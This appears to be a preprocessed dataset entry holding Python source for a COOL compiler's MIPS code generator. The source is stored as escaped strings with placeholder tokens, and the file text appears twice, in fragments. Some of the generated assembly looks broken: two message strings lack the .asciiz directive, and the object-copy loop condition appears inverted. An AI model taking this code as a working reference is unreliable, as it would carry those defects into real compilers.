self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Plus)\n def visit(self, node: cil.Plus):\n self.write_file('# +')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('add $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Div)\n def visit(self, node: cil.Div):\n self.write_file('# /')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beqz $a1 _div_error_{node.id}_')\n self.write_file('div $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b _div_end_{node.id}_')\n self.write_file(f'_div_error_{node.id}_:', tabbed=False)\n self.write_file('la $a0 _div_zero_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('la $a0 _abort_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n self.write_file(f'_div_end_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.LessThan)\n def visit(self, node: cil.LessThan):\n self.write_file('# <')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('slt $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n\n def static_datas(self):\n self.write_file('str_buffer: .space 1025')\n self.write_file('')\n self.write_file(\n '_index_negative_msg: .asciiz \"Index to substr is negative\\\\n\"')\n self.write_file(\n '_index_out_msg: .asciiz \"Index out range exception\\\\n\"')\n self.write_file('_abort_msg: \"Execution aborted\\\\n\"')\n self.write_file('_div_zero_msg: \"Division by zero exception\\\\n\"')\n self.write_file('')\n\n def entry(self):\n self.write_file('entry:', tabbed=False)\n self.visit(cil.Call(dest=None, f='build_class_name_table'))\n self.visit(cil.Call(dest=None, f='allocate_prototypes_table'))\n self.visit(cil.Call(dest=None, f='build_prototypes'))\n self.visit(cil.Call(dest=None, f='build_dispatch_tables'))\n self.visit(cil.Call(dest=None, f='build_class_parents_table'))\n self.visit(cil.Allocate(dest=None, ttype='Main'))\n self.write_file('sw $v0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n self.visit(cil.Call(dest=None, f=f'Main_{INIT_CIL_SUFFIX}'))\n self.write_file('addiu $sp $sp 4')\n self.write_file('sw $v0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n self.visit(cil.Call(dest=None, f='Main_main'))\n self.write_file('addiu $sp $sp 4')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n\n def object_abort(self):\n self.write_file('function_Object_abort:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n \"\"\"\n\tMips Visitor Class.\n\n\tThis visitor will process the AST of the generated CIL and write the mips code to a file.\n\t\"\"\"\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n\n def new_labels_id(self):\n self.cur_labels_id += 1\n return self.cur_labels_id\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n\n @visitor.when(cil.Data)\n def visit(self, node: cil.Data):\n self.write_file(\n f'{node.dest}: .asciiz \"{str(node.value.encode())[2:-1]}\"')\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Plus)\n def visit(self, node: cil.Plus):\n self.write_file('# +')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('add $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, 